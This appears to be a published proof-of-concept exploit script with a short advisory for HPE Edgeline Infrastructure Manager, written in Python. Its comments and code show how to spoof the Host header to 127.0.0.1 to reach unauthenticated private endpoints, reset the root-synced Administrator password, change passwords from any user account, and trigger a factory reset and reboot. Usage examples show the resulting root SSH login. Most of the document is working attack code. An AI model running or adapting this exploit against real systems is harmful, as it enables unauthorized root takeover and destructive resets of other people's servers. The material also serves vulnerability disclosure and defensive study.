Authored by Jeremy Brown

HPE Edgeline Infrastructure Manager suffers from multiple broken authorization flows that allow for administrative function access without authenticating and can allow for arbitrary password changes.

#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# billhader.py
#
# HPE Edgeline Infrastructure Manager Multiple Remote Vulnerabilities
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# In opthpeeimcontainersapieimapiurls.py, some private paths are defined
# which are intended to only be accessible via the local console.
#
# path('private/AdminPassReset', views.admin_password_reset), <-- ice
# path('private/ResetAppliance', views.reset_appliance), <-- ice
# path('private/EIMApplianceIP', views.get_eim_appliance_ips), <-- boring
#
# These are meant to only be exposed for the local GUI so admins can perform
# functions without authenticating. The way do they do this is by checking the
# Host header and returning a 404 not found for not-localhost, but 200 OK for
# 127.0.0.1. This is of course flawed because any remote user has control over
# the Host header and they can call these functions with valid JSON, eg.
# /private/AdminPassReset to reset the admin password and login via SSH (default)
# as root due to the Administrator and root always synced to the same password.
# They can also call ResetAppliance and the appliance will immediately reset
# user data and cause the entire server to reboot.
#
# Administrator is the default and permanent web console user and as mentioned it's
# tied to the root OS user account. When Administrator changes their password, the
# backend changes the root password to the same. Other users can be added to the
# web console, but there is nothing stopping them changing any other user’s password.
# Not even sure if this is a bug or just wow functionality because although the
# users appear different, they all seem to share the same role. Broken or incomplete
# design I guess. So any user can change the Administrator password and use it to
# login as root via the default open SSH server, start setting up camp, etc.
#
# Usage examples
# > billhader.py 10.0.0.10 pre_root_passwd -n letmein
# {"RootPasswd": "Modified", "UserPassword": "Modified"}
#
# > ssh [email protected]
# [email protected]'s password: [letmein]
# [[email protected] ~]#
#
# > billhader.py 10.0.0.10 post_root_passwd -u test -p abc123
# login succeeded
# {"Status": "success", "Valid_Entries": ["Password"], "Invalid_Entries": []}
#
# (root password is now newpassword default of 'letmein')
#
# > billhader.py 10.10.10.20 pre_factory_reset
# Lost your password huh? Are you sure you want to factory reset this server?
# yes
# done
#

import os
import sys
import argparse
import requests
import urllib.parse
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BINGO = '127.0.0.1' # not localhost :')
DEFAULT_PORT = 443

class BillHader(object):
def __init__(self, args):
self.target = args.target
self.action = args.action
self.newpassword = args.newpassword
self.username = args.username
self.password = args.password

def run(self):
target = "https://" + self.target + ':' + str(DEFAULT_PORT)

session = requests.Session()
session.verify = False

if(self.action == 'pre_root_passwd'):
headers = {'Host':BINGO}

data =
{'Password':self.newpassword,
'ConfirmPassword':self.newpassword}

try:
resp = session.post(target + "/private/AdminPassReset",
headers=headers,
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

print("%s" % resp.text)

if(self.action == 'post_root_passwd'):
data =
{'UserName':self.username,
'Password':self.password}

try:
resp = session.post(target + "/redfish/v1/SessionService/Sessions",
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

if(resp.status_code != 201):
print("login failed")
return -1
else:
print("login succeeded")

try:
token = resp.headers['x-auth-token']
except:
print("Error: couldn't parse token from response header")
return -1

if(token == None):
print("Error: couldn't parse token from session")
return -1

headers = {'X-Auth-Token':token}

data = {'Password':self.newpassword}

try:
resp = session.patch(target + "/redfish/v1/AccountService/Accounts/1",
headers=headers,
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

print("%s" % resp.text)

if(self.action == 'pre_factory_reset'):
print("Lost your password huh? Are you sure you want to factory reset this server?")

choice = input().lower()

if('yes' not in choice):
print("cool, exiting")
return -1

headers = {'Host':BINGO}

data = {'ResetRequired':'true'}

try:
resp = session.post(target + "/private/ResetAppliance",
headers=headers,
data=json.dumps(data))
except Exception as error:
print("Error: %s" % error)
return -1

print("done")

return 0

def arg_parse():
parser = argparse.ArgumentParser()

parser.add_argument("target",
type=str,
help="EIM host")

parser.add_argument("action",
type=str,
choices=['pre_root_passwd', 'post_root_passwd', 'pre_factory_reset'],
help="Which action to perform on the server")

parser.add_argument("-n",
"--newpassword",
type=str,
default="letmein",
help="New password to set for root account (letmein)")

parser.add_argument("-u",
"--username",
type=str,
help="Valid username (for post_root_reset)")

parser.add_argument("-p",
"--password",
type=str,
help="Valid password (for post_root_reset)")

args = parser.parse_args()

return args

def main():
args = arg_parse()

bill = BillHader(args)

result = bill.run()

if(result > 0):
sys.exit(-1)

if(__name__ == '__main__'):
main()